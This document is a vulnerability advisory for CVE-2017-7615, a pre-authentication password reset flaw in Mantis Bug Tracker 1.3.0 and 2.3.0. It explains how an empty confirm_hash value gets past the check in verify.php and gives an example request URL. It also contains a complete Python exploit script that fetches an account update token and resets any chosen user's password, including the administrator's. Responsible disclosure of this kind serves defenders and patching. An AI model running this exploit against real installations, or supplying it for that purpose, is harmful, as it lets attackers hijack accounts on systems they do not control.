CVE-2017-7615 Mantis Bug Tracker v1.3.0 / 2.3.0 Pre-Auth Remote Password Reset

[+] Credits: John Page a.k.a hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
[+] ISR: ApparitionSec



Vendor:
================
www.mantisbt.org



Product:
==================
Mantis Bug Tracker
v1.3.0 / 2.3.0

MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.


Vulnerability Type:
===============================
Pre-Auth Remote Password Reset



CVE Reference:
==============
CVE-2017-7615



Security Issue:
================
Mantis account verification page 'verify.php' allows resetting ANY user's password.
Remote un-authenticated attackers can send HTTP GET requests to Hijack ANY Mantis accounts by guessing the ID / username.

Vulnerable code:

In verify.php line 66:

if( $f_confirm_hash != $t_token_confirm_hash ) {

trigger_error( ERROR_LOST_PASSWORD_CONFIRM_
HASH_INVALID, ERROR );

}

This code attempts to verify a user account and compares hashes for a user request.
However, by supplying empty value we easily bypass the security check.

e.g.

http://127.0.0.1/mantisbt-2.3.0/verify.php?id=1&confirm_hash=

This will then allow you to change passwords and hijack ANY mantisbt accounts.

All version >= 1.3.0 as well as 2.3.0 are affected, 1.2.x versions are not affected.


References:
============
https://mantisbt.org/bugs/view.php?id=22690#c56509



POC Video URL:
==============
https://vimeo.com/213144905



Exploit/POC:
=============
import cookielib,urllib,urllib2,time

print 'Mantis Bug Tracker >= v1.3.0 - 2.3.0'
print '1.2.x versions are not affected'
print 'Remote Password Reset 0day Exploit'
print 'Credits: John Page a.k.a HYP3RLINX / APPARITIONSEC\n'

IP=raw_input("[Mantis Victim IP]>")
realname=raw_input("[Username]")
verify_user_id=raw_input("[User ID]")
passwd=raw_input("[New Password]")

TARGET = 'http://'+IP+'/mantisbt-2.3.0/verify.php?id='+verify_user_id+'&confirm_hash='

values={}
account_update_token=''
#verify_user_id='1'          #Admin  = 1
#realname='administrator'    #Must be known or guessed.


#REQUEST 1, get Mantis account_update_token
cookies = cookielib.CookieJar()

opener = urllib2.build_opener(
    urllib2.HTTPRedirectHandler(),
    urllib2.HTTPHandler(debuglevel=0),
    urllib2.HTTPSHandler(debuglevel=0),
    urllib2.HTTPCookieProcessor(cookies))

res = opener.open(TARGET)

arr=res.readlines()
for s in arr:
        if 'account_update_token' in s:
                break


#print s[61:-38]
ACCT_TOKEN=s[61:-38]

time.sleep(0.3)

#REQUEST 2 Hijack the Admin Account
TARGET='http://'+IP+'/mantisbt-2.3.0/account_update.php'
values = {'verify_user_id' : '1',
        'account_update_token' : ACCT_TOKEN,
        'realname' : realname,
        'password' : passwd,
        'password_confirm' : passwd}

data = urllib.urlencode(values)

opener = urllib2.build_opener(
urllib2.HTTPRedirectHandler(),
urllib2.HTTPHandler(debuglevel=0),
urllib2.HTTPSHandler(debuglevel=0),
urllib2.HTTPCookieProcessor(cookies))

response = opener.open(TARGET, data)
the_page = response.read()
http_headers = response.info()

#print http_headers
print response.getcode()
print 'Account Hijacked!'
time.sleep(2)




Network Access:
===============
Remote




Severity:
=========
Critical



Disclosure Timeline:
=============================
Vendor Notification: April 7, 2017
Vendor acknowledged: April 7, 2017
Vendor patch created: April 10, 2017
Vendor Disclosure: April 16, 2017
April 16, 2017  : Public Disclosure



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is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
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or exploits by the author or elsewhere. All content (c).